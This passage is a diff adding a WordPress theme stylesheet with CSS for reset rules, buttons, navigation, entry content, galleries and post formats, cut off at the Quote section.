+ * 6.0 - Sidebar
+ *   6.1 - Widgets
+ * 7.0 - Footer
+ * 8.0 - Media Queries
+ * 9.0 - Print
+ * ----------------------------------------------------------------------------
+ */
+
+
+/**
+ * 1.0 Reset
+ *
+ * Modified from Normalize.css to provide cross-browser consistency and a smart
+ * default styling of HTML elements.
+ *
+ * @see http://git.io/normalize
+ * ----------------------------------------------------------------------------
+ */
+
+* {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+}
+
+article,
+aside,
+details,
+figcaption,
+figure,
+footer,
+header,
+nav,
+section,
+summary {
+	display: block;
+}
+
+audio,
+canvas,
+video {
+	display: inline-block;
+}
+
+audio:not([controls]) {
+	display: none;
+	height: 0;
+}
+
+[hidden] {
+	display: none;
+}
+
+html {
+	font-size: 100%;
+	overflow-y: scroll;
+	-webkit-text-size-adjust: 100%;
+	-ms-text-size-adjust: 100%;
+}
+
+html,
+button,
+input,
+select,
+textarea {
+	font-family: "Source Sans Pro", Helvetica, sans-serif;
+}
+
+body {
+	color: #141412;
+	line-height: 1.5;
+	margin: 0;
+}
+
+a {
+	color: #ca3c08;
+	text-decoration: none;
+}
+
+a:visited {
+	color: #ac0404;
+}
+
+a:focus {
+	outline: thin dotted;
+}
+
+a:active,
+a:hover {
+	color: #ea9629;
+	outline: 0;
+}
+
+a:hover {
+	text-decoration: underline;
+}
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	font-family: Bitter, Georgia, serif;
+	line-height: 1.3;
+}
+
+h1 {
+	font-size: 48px;
+	margin: 33px 0;
+}
+
+h2 {
+	font-size: 30px;
+	margin: 25px 0;
+}
+
+h3 {
+	font-size: 22px;
+	margin: 22px 0;
+}
+
+h4 {
+	font-size: 20px;
+	margin: 25px 0;
+}
+
+h5 {
+	font-size: 18px;
+	margin: 30px 0;
+}
+
+h6 {
+	font-size: 16px;
+	margin: 36px 0;
+}
+
+address {
+	font-style: italic;
+	margin: 0 0 24px;
+}
+
+abbr[title] {
+	border-bottom: 1px dotted;
+}
+
+b,
+strong {
+	font-weight: bold;
+}
+
+dfn {
+	font-style: italic;
+}
+
+mark {
+	background: #ff0;
+	color: #000;
+}
+
+p {
+	margin: 0 0 24px;
+}
+
+code,
+kbd,
+pre,
+samp {
+	font-family: monospace, serif;
+	font-size: 14px;
+	-webkit-hyphens: none;
+	-moz-hyphens:    none;
+	-ms-hyphens:     none;
+	hyphens:         none;
+}
+
+pre {
+	background: #f5f5f5;
+	color: #666;
+	font-family: monospace;
+	font-size: 14px;
+	margin: 20px 0;
+	overflow: auto;
+	padding: 20px;
+	white-space: pre;
+	white-space: pre-wrap;
+	word-wrap: break-word;
+}
+
+blockquote,
+q {
+	-webkit-hyphens: none;
+	-moz-hyphens:    none;
+	-ms-hyphens:     none;
+	hyphens:         none;
+	quotes: none;
+}
+
+blockquote:before,
+blockquote:after,
+q:before,
+q:after {
+	content: "";
+	content: none;
+}
+
+blockquote {
+	font-size: 18px;
+	font-style: italic;
+	font-weight: 300;
+	margin: 24px 40px;
+}
+
+blockquote blockquote {
+	margin-right: 0;
+}
+
+blockquote cite,
+blockquote small {
+	font-size: 14px;
+	font-weight: normal;
+	text-transform: uppercase;
+}
+
+blockquote em,
+blockquote i {
+	font-style: normal;
+	font-weight: 300;
+}
+
+blockquote strong,
+blockquote b {
+	font-weight: 400;
+}
+
+small {
+	font-size: smaller;
+}
+
+sub,
+sup {
+	font-size: 75%;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+
+sup {
+	top: -0.5em;
+}
+
+sub {
+	bottom: -0.25em;
+}
+
+dl {
+	margin: 0 20px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+dd {
+	margin: 0 0 20px;
+}
+
+menu,
+ol,
+ul {
+	margin: 16px 0;
+	padding: 0 0 0 40px;
+}
+
+ul {
+	list-style-type: square;
+}
+
+nav ul,
+nav ol {
+	list-style: none;
+	list-style-image: none;
+}
+
+li > ul,
+li > ol {
+	margin: 0;
+}
+
+img {
+	-ms-interpolation-mode: bicubic;
+	border: 0;
+	vertical-align: middle;
+}
+
+svg:not(:root) {
+	overflow: hidden;
+}
+
+figure {
+	margin: 0;
+}
+
+form {
+	margin: 0;
+}
+
+fieldset {
+	border: 1px solid #c0c0c0;
+	margin: 0 2px;
+	min-width: inherit;
+	padding: 0.35em 0.625em 0.75em;
+}
+
+legend {
+	border: 0;
+	padding: 0;
+	white-space: normal;
+}
+
+button,
+input,
+select,
+textarea {
+	font-size: 100%;
+	margin: 0;
+	max-width: 100%;
+	vertical-align: baseline;
+}
+
+button,
+input {
+	line-height: normal;
+}
+
+button,
+html input[type="button"],
+input[type="reset"],
+input[type="submit"] {
+	-webkit-appearance: button;
+	cursor: pointer;
+}
+
+button[disabled],
+input[disabled] {
+	cursor: default;
+}
+
+input[type="checkbox"],
+input[type="radio"] {
+	padding: 0;
+}
+
+input[type="search"] {
+	-webkit-appearance: textfield;
+	padding-right: 2px; /* Don't cut off the webkit search cancel button */
+	width: 270px;
+}
+
+input[type="search"]::-webkit-search-decoration {
+	-webkit-appearance: none;
+}
+
+button::-moz-focus-inner,
+input::-moz-focus-inner {
+	border: 0;
+	padding: 0;
+}
+
+textarea {
+	overflow: auto;
+	vertical-align: top;
+}
+
+table {
+	border-bottom: 1px solid #ededed;
+	border-collapse: collapse;
+	border-spacing: 0;
+	font-size: 14px;
+	line-height: 2;
+	margin: 0 0 20px;
+	width: 100%;
+}
+
+caption,
+th,
+td {
+	font-weight: normal;
+	text-align: left;
+}
+
+caption {
+	font-size: 16px;
+	margin: 20px 0;
+}
+
+th {
+	font-weight: bold;
+	text-transform: uppercase;
+}
+
+td {
+	border-top: 1px solid #ededed;
+	padding: 6px 10px 6px 0;
+}
+
+del {
+	color: #333;
+}
+
+ins {
+	background: #fff9c0;
+	text-decoration: none;
+}
+
+hr {
+	background: url(images/dotted-line.png) repeat center top;
+	background-size: 4px 4px;
+	border: 0;
+	height: 1px;
+	margin: 0 0 24px;
+}
+
+
+/**
+ * 2.0 Repeatable Patterns
+ * ----------------------------------------------------------------------------
+ */
+
+.genericon:before,
+.menu-toggle:after,
+.featured-post:before,
+.date a:before,
+.entry-meta .author a:before,
+.format-audio .entry-content:before,
+.comments-link a:before,
+.tags-links a:first-child:before,
+.categories-links a:first-child:before,
+.edit-link a:before,
+.attachment .entry-title:before,
+.attachment-meta:before,
+.attachment-meta a:before,
+.comment-awaiting-moderation:before,
+.comment-reply-link:before,
+.comment-reply-login:before,
+.comment-reply-title small a:before,
+.bypostauthor > .comment-body .fn:before,
+.error404 .page-title:before {
+	-webkit-font-smoothing: antialiased;
+	display: inline-block;
+	font: normal 16px/1 Genericons;
+	vertical-align: text-bottom;
+}
+
+/* Clearing floats */
+.clear:after,
+.attachment .entry-header:after,
+.site-footer .widget-area:after,
+.entry-content:after,
+.page-content:after,
+.navigation:after,
+.nav-links:after,
+.gallery:after,
+.comment-form-author:after,
+.comment-form-email:after,
+.comment-form-url:after,
+.comment-body:after {
+	clear: both;
+}
+
+.clear:before,
+.clear:after,
+.attachment .entry-header:before,
+.attachment .entry-header:after,
+.site-footer .widget-area:before,
+.site-footer .widget-area:after,
+.entry-content:before,
+.entry-content:after,
+.page-content:before,
+.page-content:after,
+.navigation:before,
+.navigation:after,
+.nav-links:before,
+.nav-links:after,
+.gallery:before,
+.gallery:after,
+.comment-form-author:before,
+.comment-form-author:after,
+.comment-form-email:before,
+.comment-form-email:after,
+.comment-form-url:before,
+.comment-form-url:after,
+.comment-body:before,
+.comment-body:after {
+	content: "";
+	display: table;
+}
+
+/* Assistive text */
+.screen-reader-text {
+	clip: rect(1px, 1px, 1px, 1px);
+	overflow: hidden;
+	position: absolute !important;
+	height: 1px;
+	width: 1px;
+}
+
+.screen-reader-text:focus {
+	background-color: #f1f1f1;
+	border-radius: 3px;
+	box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
+	clip: auto !important;
+	color: #21759b;
+	display: block;
+	font-size: 14px;
+	font-weight: bold;
+	height: auto;
+	line-height: normal;
+	padding: 15px 23px 14px;
+	position: absolute;
+	left: 5px;
+	top: 5px;
+	text-decoration: none;
+	width: auto;
+	z-index: 100000; /* Above WP toolbar */
+}
+
+/* Form fields, general styles first. */
+button,
+input,
+textarea {
+	border: 2px solid #d4d0ba;
+	font-family: inherit;
+	padding: 5px;
+}
+
+input,
+textarea {
+	color: #141412;
+}
+
+input:focus,
+textarea:focus {
+	border: 2px solid #c3c0ab;
+	outline: 0;
+}
+
+/* Buttons */
+button,
+input[type="submit"],
+input[type="button"],
+input[type="reset"] {
+	background: #e05d22; /* Old browsers */
+	background: -webkit-linear-gradient(top, #e05d22 0%, #d94412 100%); /* Chrome 10+, Safari 5.1+ */
+	background:   linear-gradient(to bottom, #e05d22 0%, #d94412 100%); /* W3C */
+	border: none;
+	border-bottom: 3px solid #b93207;
+	border-radius: 2px;
+	color: #fff;
+	display: inline-block;
+	padding: 11px 24px 10px;
+	text-decoration: none;
+}
+
+button:hover,
+button:focus,
+input[type="submit"]:hover,
+input[type="button"]:hover,
+input[type="reset"]:hover,
+input[type="submit"]:focus,
+input[type="button"]:focus,
+input[type="reset"]:focus {
+	background: #ed6a31; /* Old browsers */
+	background: -webkit-linear-gradient(top, #ed6a31 0%, #e55627 100%); /* Chrome 10+, Safari 5.1+ */
+	background:   linear-gradient(to bottom, #ed6a31 0%, #e55627 100%); /* W3C */
+	outline: none;
+}
+
+button:active,
+input[type="submit"]:active,
+input[type="button"]:active,
+input[type="reset"]:active {
+	background: #d94412; /* Old browsers */
+	background: -webkit-linear-gradient(top, #d94412 0%, #e05d22 100%); /* Chrome 10+, Safari 5.1+ */
+	background:   linear-gradient(to bottom, #d94412 0%, #e05d22 100%); /* W3C */
+	border: none;
+	border-top: 3px solid #b93207;
+	padding: 10px 24px 11px;
+}
+
+.post-password-required input[type="submit"] {
+	padding: 7px 24px 4px;
+	vertical-align: bottom;
+}
+
+.post-password-required input[type="submit"]:active {
+	padding: 5px 24px 6px;
+}
+
+/* Placeholder text color -- selectors need to be separate to work. */
+::-webkit-input-placeholder {
+	color: #7d7b6d;
+}
+
+:-moz-placeholder {
+	color: #7d7b6d;
+}
+
+::-moz-placeholder {
+	color: #7d7b6d;
+}
+
+:-ms-input-placeholder {
+	color: #7d7b6d;
+}
+
+/*
+ * Responsive images
+ *
+ * Fluid images for posts, comments, and widgets
+ */
+.entry-content img,
+.entry-summary img,
+.comment-content img,
+.widget img,
+.wp-caption {
+	max-width: 100%;
+}
+
+/* Make sure images with WordPress-added height and width attributes are scaled correctly. */
+.entry-content img,
+.entry-summary img,
+.comment-content img[height],
+img[class*="align"],
+img[class*="wp-image-"],
+img[class*="attachment-"] {
+	height: auto;
+}
+
+img.size-full,
+img.size-large,
+img.wp-post-image {
+	height: auto;
+	max-width: 100%;
+}
+
+/* Make sure videos and embeds fit their containers. */
+embed,
+iframe,
+object,
+video {
+	max-width: 100%;
+}
+
+/* Override the Twitter embed fixed width. */
+.entry-content .twitter-tweet-rendered {
+	max-width: 100% !important;
+}
+
+/* Images */
+.alignleft {
+	float: left;
+}
+
+.alignright {
+	float: right;
+}
+
+.aligncenter {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+figure.wp-caption.alignleft,
+img.alignleft {
+	margin: 5px 20px 5px 0;
+}
+
+.wp-caption.alignleft {
+	margin: 5px 10px 5px 0;
+}
+
+figure.wp-caption.alignright,
+img.alignright {
+	margin: 5px 0 5px 20px;
+}
+
+.wp-caption.alignright {
+	margin: 5px 0 5px 10px;
+}
+
+img.aligncenter {
+	margin: 5px auto;
+}
+
+img.alignnone {
+	margin: 5px 0;
+}
+
+.wp-caption .wp-caption-text,
+.entry-caption,
+.gallery-caption {
+	color: #220e10;
+	font-size: 18px;
+	font-style: italic;
+	font-weight: 300;
+	margin: 0 0 24px;
+}
+
+div.wp-caption.alignright img[class*="wp-image-"] {
+	float: right;
+}
+
+div.wp-caption.alignright .wp-caption-text {
+	padding-left: 10px;
+}
+
+img.wp-smiley,
+.rsswidget img {
+	border: 0;
+	border-radius: 0;
+	box-shadow: none;
+	margin-bottom: 0;
+	margin-top: 0;
+	padding: 0;
+}
+
+.wp-caption.alignleft + ul,
+.wp-caption.alignleft + ol {
+	list-style-position: inside;
+}
+
+
+/**
+ * 3.0 Basic Structure
+ * ----------------------------------------------------------------------------
+ */
+
+.site {
+	background-color: #fff;
+	border-left: 1px solid #f2f2f2;
+	border-right: 1px solid #f2f2f2;
+	margin: 0 auto;
+	max-width: 1600px;
+	width: 100%;
+}
+
+.site-main {
+	position: relative;
+}
+
+.site-main .sidebar-container {
+	height: 0;
+	position: absolute;
+	top: 40px;
+	width: 100%;
+	z-index: 1;
+}
+
+.site-main .sidebar-inner {
+	margin: 0 auto;
+	max-width: 1040px;
+}
+
+
+/**
+ * 4.0 Header
+ * ----------------------------------------------------------------------------
+ */
+
+/**
+ * 4.1 Site Header
+ * ----------------------------------------------------------------------------
+ */
+
+.site-header {
+	position: relative;
+}
+
+.site-header .home-link {
+	color: #141412;
+	display: block;
+	margin: 0 auto;
+	max-width: 1080px;
+	min-height: 230px;
+	padding: 0 20px;
+	text-decoration: none;
+	width: 100%;
+}
+
+.site-header .site-title:hover {
+	text-decoration: underline;
+}
+
+.site-title {
+	font-size: 60px;
+	font-weight: bold;
+	line-height: 1;
+	margin: 0;
+	padding: 58px 0 10px;
+}
+
+.site-description {
+	font: 300 italic 24px "Source Sans Pro", Helvetica, sans-serif;
+	margin: 0;
+}
+
+
+/**
+ * 4.2 Navigation
+ * ----------------------------------------------------------------------------
+ */
+
+.main-navigation {
+	clear: both;
+	margin: 0 auto;
+	max-width: 1080px;
+	min-height: 45px;
+	position: relative;
+}
+
+ul.nav-menu,
+div.nav-menu > ul {
+	margin: 0;
+	padding: 0 40px 0 0;
+}
+
+.nav-menu li {
+	display: inline-block;
+	position: relative;
+}
+
+.nav-menu li a {
+	color: #141412;
+	display: block;
+	font-size: 15px;
+	line-height: 1;
+	padding: 15px 20px;
+	text-decoration: none;
+}
+
+.nav-menu li:hover > a,
+.nav-menu li a:hover,
+.nav-menu li:focus > a,
+.nav-menu li a:focus {
+	background-color: #220e10;
+	color: #fff;
+}
+
+.nav-menu .sub-menu,
+.nav-menu .children {
+	background-color: #220e10;
+	border: 2px solid #f7f5e7;
+	border-top: 0;
+	padding: 0;
+	position: absolute;
+	left: -2px;
+	z-index: 99999;
+	height: 1px;
+	width: 1px;
+	overflow: hidden;
+	clip: rect(1px, 1px, 1px, 1px);
+}
+
+.nav-menu .sub-menu ul,
+.nav-menu .children ul {
+	border-left: 0;
+	left: 100%;
+	top: 0;
+}
+
+ul.nav-menu ul a,
+.nav-menu ul ul a {
+	color: #fff;
+	margin: 0;
+	width: 200px;
+}
+
+ul.nav-menu ul a:hover,
+.nav-menu ul ul a:hover,
+ul.nav-menu ul a:focus,
+.nav-menu ul ul a:focus {
+	background-color: #db572f;
+}
+
+ul.nav-menu li:hover > ul,
+.nav-menu ul li:hover > ul,
+ul.nav-menu .focus > ul,
+.nav-menu .focus > ul {
+	clip: inherit;
+	overflow: inherit;
+	height: inherit;
+	width: inherit;
+}
+
+.nav-menu .current_page_item > a,
+.nav-menu .current_page_ancestor > a,
+.nav-menu .current-menu-item > a,
+.nav-menu .current-menu-ancestor > a {
+	color: #bc360a;
+	font-style: italic;
+}
+
+.menu-toggle {
+	display: none;
+}
+
+/* Navbar */
+.navbar {
+	background-color: #f7f5e7;
+	margin: 0 auto;
+	max-width: 1600px;
+	width: 100%;
+}
+
+.site-header .search-form {
+	position: absolute;
+	right: 20px;
+	top: 1px;
+}
+
+.site-header .search-field {
+	background-color: transparent;
+	background-image: url(images/search-icon.png);
+	background-position: 5px center;
+	background-repeat: no-repeat;
+	background-size: 24px 24px;
+	border: none;
+	cursor: pointer;
+	height: 37px;
+	margin: 3px 0;
+	padding: 0 0 0 34px;
+	position: relative;
+	-webkit-transition: width 400ms ease, background 400ms ease;
+	transition:         width 400ms ease, background 400ms ease;
+	width: 1px;
+}
+
+.site-header .search-field:focus {
+	background-color: #fff;
+	border: 2px solid #c3c0ab;
+	cursor: text;
+	outline: 0;
+	width: 230px;
+}
+
+
+/**
+ * 5.0 Content
+ * ----------------------------------------------------------------------------
+ */
+
+.hentry {
+	padding: 40px 0;
+}
+
+.entry-header,
+.entry-content,
+.entry-summary,
+.entry-meta {
+	margin: 0 auto;
+	max-width: 604px;
+	width: 100%;
+}
+
+.sidebar .entry-header,
+.sidebar .entry-content,
+.sidebar .entry-summary,
+.sidebar .entry-meta {
+	max-width: 1040px;
+	padding: 0 376px 0 60px;
+}
+
+
+/**
+ * 5.1 Entry Header
+ * ----------------------------------------------------------------------------
+ */
+
+.sidebar .entry-header .entry-meta {
+	padding: 0;
+}
+
+.entry-thumbnail img {
+	display: block;
+	margin: 0 auto 10px;
+}
+
+.entry-header {
+	margin-bottom: 30px;
+}
+
+.entry-title {
+	font-weight: normal;
+	margin: 0 0 5px;
+}
+
+.entry-title a {
+	color: #141412;
+}
+
+.entry-title a:hover {
+	color: #ea9629;
+}
+
+
+/**
+ * 5.2 Entry Meta
+ * ----------------------------------------------------------------------------
+ */
+
+.entry-meta {
+	clear: both;
+	font-size: 14px;
+}
+
+.entry-meta a {
+	color: #bc360a;
+}
+
+.entry-meta a:hover {
+	color: #bc360a;
+}
+
+.entry-meta > span {
+	margin-right: 20px;
+}
+
+.entry-meta > span:last-child {
+	margin-right: 0;
+}
+
+.featured-post:before {
+	content: "\f308";
+	margin-right: 2px;
+}
+
+.entry-meta .date a:before {
+	content: "\f303";
+}
+
+.comments-link a:before {
+	content: "\f300";
+	margin-right: 2px;
+	position: relative;
+	top: -1px;
+}
+
+.entry-meta .author a:before {
+	content: "\f304";
+	position: relative;
+	top: -1px;
+}
+
+.categories-links a:first-child:before {
+	content: "\f301";
+}
+
+.tags-links a:first-child:before {
+	content: "\f302";
+	position: relative;
+	top: -1px;
+}
+
+.edit-link a:before {
+	content: "\f411";
+	position: relative;
+	top: -1px;
+}
+
+.single-author .entry-meta .author,
+.sticky.format-standard .entry-meta .date,
+.sticky.format-audio .entry-meta .date,
+.sticky.format-chat .entry-meta .date,
+.sticky.format-image .entry-meta .date,
+.sticky.format-gallery .entry-meta .date {
+	display: none;
+}
+
+
+/**
+ * 5.3 Entry Content
+ * ----------------------------------------------------------------------------
+ */
+
+.entry-content {
+	-webkit-hyphens: auto;
+	-moz-hyphens:    auto;
+	-ms-hyphens:     auto;
+	hyphens:         auto;
+	word-wrap: break-word;
+}
+
+.entry-content a,
+.comment-content a {
+	color: #bc360a;
+}
+
+.entry-content a:hover,
+.comment-content a:hover {
+	color: #ea9629;
+}
+
+.entry-content .more-link {
+	white-space: nowrap;
+}
+
+.entry-content blockquote {
+	font-size: 24px;
+}
+
+.entry-content blockquote cite,
+.entry-content blockquote small {
+	font-size: 16px;
+}
+
+.entry-content img.alignleft,
+.entry-content .wp-caption.alignleft {
+	margin-left: -60px;
+}
+
+.entry-content img.alignright,
+.entry-content .wp-caption.alignright {
+	margin-right: -60px;
+}
+
+footer.entry-meta {
+	margin-top: 24px;
+}
+
+.format-standard footer.entry-meta {
+	margin-top: 0;
+}
+
+/* Page links */
+.page-links {
+	clear: both;
+	font-size: 16px;
+	font-style: italic;
+	font-weight: normal;
+	line-height: 2.2;
+	margin: 20px 0;
+	text-transform: uppercase;
+}
+
+.page-links a,
+.page-links > span {
+	background: #fff;
+	border: 1px solid #fff;
+	padding: 5px 10px;
+	text-decoration: none;
+}
+
+.format-status .entry-content .page-links a,
+.format-gallery .entry-content .page-links a,
+.format-chat .entry-content .page-links a,
+.format-quote .entry-content .page-links a,
+.page-links a {
+	background: #e63f2a;
+	border: 1px solid #e63f2a;
+	color: #fff;
+}
+
+.format-gallery .entry-content .page-links a:hover,
+.format-audio .entry-content .page-links a:hover,
+.format-status .entry-content .page-links a:hover,
+.format-video .entry-content .page-links a:hover,
+.format-chat .entry-content .page-links a:hover,
+.format-quote .entry-content .page-links a:hover,
+.page-links a:hover {
+	background: #fff;
+	color: #e63f2a;
+}
+
+.format-status .entry-content .page-links > span,
+.format-quote .entry-content .page-links > span {
+	background: none;
+}
+
+.page-links .page-links-title {
+	background: transparent;
+	border: none;
+	margin-right: 20px;
+	padding: 0;
+}
+
+/* Mediaelements */
+.hentry .mejs-mediaelement,
+.widget .mejs-mediaelement,
+.hentry .mejs-container .mejs-controls,
+.widget .mejs-container .mejs-controls {
+	background: #220e10;
+}
+
+.hentry .mejs-controls .mejs-time-rail .mejs-time-loaded,
+.widget .mejs-controls .mejs-time-rail .mejs-time-loaded,
+.hentry .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current,
+.widget .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	background: #fff;
+}
+
+.hentry .mejs-controls .mejs-time-rail .mejs-time-current,
+.widget .mejs-controls .mejs-time-rail .mejs-time-current {
+	background: #ea9629;
+}
+
+.hentry .mejs-controls .mejs-time-rail .mejs-time-total,
+.widget .mejs-controls .mejs-time-rail .mejs-time-total,
+.hentry .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,
+.widget .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total {
+	background: #595959;
+}
+
+.hentry .mejs-controls .mejs-time-rail span,
+.widget .mejs-controls .mejs-time-rail span,
+.hentry .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,
+.widget .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,
+.hentry .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current,
+.widget .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	border-radius: 0;
+}
+
+
+/**
+ * 5.4 Galleries
+ * ----------------------------------------------------------------------------
+ */
+
+.gallery {
+	margin-bottom: 20px;
+	margin-left: -4px;
+}
+
+.gallery-item {
+	float: left;
+	margin: 0 4px 4px 0;
+	overflow: hidden;
+	position: relative;
+}
+
+.gallery-columns-1.gallery-size-medium,
+.gallery-columns-1.gallery-size-thumbnail,
+.gallery-columns-2.gallery-size-thumbnail,
+.gallery-columns-3.gallery-size-thumbnail {
+	display: table;
+	margin: 0 auto 20px;
+}
+
+.gallery-columns-1 .gallery-item,
+.gallery-columns-2 .gallery-item,
+.gallery-columns-3 .gallery-item {
+	text-align: center;
+}
+
+.gallery-columns-4 .gallery-item {
+	max-width: 23%;
+	max-width: -webkit-calc(25% - 4px);
+	max-width:         calc(25% - 4px);
+}
+
+.gallery-columns-5 .gallery-item {
+	max-width: 19%;
+	max-width: -webkit-calc(20% - 4px);
+	max-width:         calc(20% - 4px);
+}
+
+.gallery-columns-6 .gallery-item {
+	max-width: 15%;
+	max-width: -webkit-calc(16.7% - 4px);
+	max-width:         calc(16.7% - 4px);
+}
+
+.gallery-columns-7 .gallery-item {
+	max-width: 13%;
+	max-width: -webkit-calc(14.28% - 4px);
+	max-width:         calc(14.28% - 4px);
+}
+
+.gallery-columns-8 .gallery-item {
+	max-width: 11%;
+	max-width: -webkit-calc(12.5% - 4px);
+	max-width:         calc(12.5% - 4px);
+}
+
+.gallery-columns-9 .gallery-item {
+	max-width: 9%;
+	max-width: -webkit-calc(11.1% - 4px);
+	max-width:         calc(11.1% - 4px);
+}
+
+.gallery-columns-1 .gallery-item:nth-of-type(1n),
+.gallery-columns-2 .gallery-item:nth-of-type(2n),
+.gallery-columns-3 .gallery-item:nth-of-type(3n),
+.gallery-columns-4 .gallery-item:nth-of-type(4n),
+.gallery-columns-5 .gallery-item:nth-of-type(5n),
+.gallery-columns-6 .gallery-item:nth-of-type(6n),
+.gallery-columns-7 .gallery-item:nth-of-type(7n),
+.gallery-columns-8 .gallery-item:nth-of-type(8n),
+.gallery-columns-9 .gallery-item:nth-of-type(9n) {
+	margin-right: 0;
+}
+
+.gallery-columns-1.gallery-size-medium figure.gallery-item:nth-of-type(1n+1),
+.gallery-columns-1.gallery-size-thumbnail figure.gallery-item:nth-of-type(1n+1),
+.gallery-columns-2.gallery-size-thumbnail figure.gallery-item:nth-of-type(2n+1),
+.gallery-columns-3.gallery-size-thumbnail figure.gallery-item:nth-of-type(3n+1),
+.widget-area .gallery-columns-2 figure.gallery-item:nth-of-type(2n+1),
+.widget-area .gallery-columns-3 figure.gallery-item:nth-of-type(3n+1),
+.widget-area .gallery-columns-4 figure.gallery-item:nth-of-type(4n+1),
+.widget-area .gallery-columns-5 figure.gallery-item:nth-of-type(5n+1),
+.widget-area .gallery-columns-6 figure.gallery-item:nth-of-type(6n+1),
+.widget-area .gallery-columns-7 figure.gallery-item:nth-of-type(7n+1),
+.widget-area .gallery-columns-8 figure.gallery-item:nth-of-type(8n+1),
+.widget-area .gallery-columns-9 figure.gallery-item:nth-of-type(9n+1) {
+	clear: left;
+}
+
+.gallery-caption {
+	background-color: rgba(0, 0, 0, 0.7);
+	box-sizing: border-box;
+	color: #fff;
+	font-size: 14px;
+	line-height: 1.3;
+	margin: 0;
+	max-height: 50%;
+	opacity: 0;
+	padding: 2px 8px;
+	position: absolute;
+	bottom: 0;
+	left: 0;
+	text-align: left;
+	-webkit-transition: opacity 400ms ease;
+	transition:         opacity 400ms ease;
+	width: 100%;
+}
+
+.gallery-caption:before {
+	box-shadow: 0 -10px 15px #000 inset;
+	content: "";
+	height: 100%;
+	min-height: 49px;
+	position: absolute;
+	left: 0;
+	top: 0;
+	width: 100%;
+}
+
+.gallery-item:hover .gallery-caption {
+	opacity: 1;
+}
+
+.gallery-columns-7 .gallery-caption,
+.gallery-columns-8 .gallery-caption,
+.gallery-columns-9 .gallery-caption,
+.widget-area .gallery-columns-2 .gallery-caption,
+.widget-area .gallery-columns-3 .gallery-caption,
+.widget-area .gallery-columns-4 .gallery-caption,
+.widget-area .gallery-columns-5 .gallery-caption,
+.widget-area .gallery-columns-6 .gallery-caption,
+.widget-area .gallery-columns-7 .gallery-caption,
+.widget-area .gallery-columns-8 .gallery-caption,
+.widget-area .gallery-columns-9 .gallery-caption {
+	display: none;
+}
+
+
+/**
+ * 5.5 Post Formats
+ * ----------------------------------------------------------------------------
+ */
+
+/* Aside */
+.format-aside {
+	background-color: #f7f5e7;
+}
+
+.blog .format-aside:first-of-type,
+.single .format-aside:first-of-type,
+.format-aside + .format-aside,
+.format-aside + .format-link,
+.format-link + .format-aside {
+	box-shadow: inset 0 2px 2px rgba(173, 165, 105, 0.2);
+}
+
+.format-aside .entry-meta {
+	margin-top: 0;
+}
+
+.format-aside blockquote {
+	font-size: 100%;
+	font-weight: normal;
+}
+
+.format-aside cite {
+	font-size: 100%;
+	text-transform: none;
+}
+
+.format-aside cite:before {
+	content: "\2014";
+	margin-right: 5px;
+}
+
+/* Audio */
+.format-audio {
+	background-color: #db572f;
+}
+
+.format-audio .entry-title {
+	font-size: 28px;
+	font-weight: bold;
+}
+
+.format-audio .entry-content:before {
+	content: "\f109";
+	float: left;
+	font-size: 64px;
+	position: relative;
+	top: 4px;
+}
+
+.format-audio .entry-content a,
+.format-audio .entry-meta a,
+.format-audio .entry-content a:hover,
+.format-audio .entry-meta a:hover {
+	color: #fbfaf3;
+}
+
+.format-audio .audio-content {
+	background: url(images/dotted-line.png) repeat-y left top;
+	background-size: 4px 4px;
+	float: right;
+	padding-left: 35px;
+	width: 80%;
+	width: -webkit-calc(100% - 85px);
+	width:         calc(100% - 85px);
+}
+
+.format-audio .wp-audio-shortcode {
+	height: 30px !important; /* Override mediaelement.js style */
+	margin: 20px 0;
+	max-width: 400px !important; /* Override mediaelement.js style */
+}
+
+.format-audio audio {
+	max-width: 100% !important; /* Avoid player width overflow. */
+}
+
+/* Chat */
+.format-chat {
+	background-color: #eadaa6;
+}
+
+.format-chat .entry-title {
+	font-size: 28px;
+	font-weight: bold;
+}
+
+.format-chat .entry-meta a,
+.format-chat .entry-content a {
+	color: #722d19;
+}
+
+.format-chat .entry-meta .date a:before {
+	content: "\f108";
+	margin-right: 2px;
+}
+
+.format-chat .entry-meta .author {
+	display: none;
+}
+
+.format-chat .chat {
+	margin: 0;
+}
+
+.format-chat .chat .chat-timestamp {
+	color: #722d19;
+	float: right;
+	font-size: 12px;
+	font-weight: normal;
+	margin: 5px 10px 0;
+}
+
+.format-chat .chat .fn {
+	font-style: normal;
+}
+
+/* Gallery */
+.format-gallery {
+	background-color: #fbca3c;
+}
+
+.format-gallery .entry-header {
+	margin-bottom: 15px;
+}
+
+.format-gallery .entry-title {
+	font-size: 50px;
+	font-weight: 400;
+	margin: 0;
+}
+
+.format-gallery .entry-meta a,
+.format-gallery .entry-content a {
+	color: #722d19;
+}
+
+/* Image */
+.format-image .entry-title {
+	font-size: 28px;
+	font-weight: bold;
+}
+
+.format-image .categories-links,
+.format-image .tags-links {
+	display: none;
+}
+
+/* Link */
+.format-link {
+	background-color: #f7f5e7;
+}
+
+.blog .format-link:first-of-type,
+.single .format-link:first-of-type {
+	box-shadow: inset 0 2px 2px rgba(173, 165, 105, 0.2);
+}
+
+.format-link .entry-header,
+.format-link .entry-content p:last-child {
+	margin-bottom: 0;
+}
+
+.format-link .entry-title {
+	color: #ca3c08;
+	display: inline;
+	font: 300 italic 20px "Source Sans Pro", Helvetica, sans-serif;
+	margin-right: 20px;
+}
+
+.format-link .entry-title a {
+	color: #bc360a;
+}
+
+.format-link div.entry-meta {
+	display: inline;
+}
+
+/* Standard */
+.format-standard .wp-video,
+.format-standard .wp-audio-shortcode,
+.format-audio .wp-audio-shortcode,
+.format-standard .video-player {
+	margin-bottom: 24px;
+}
+
+/* Quote */
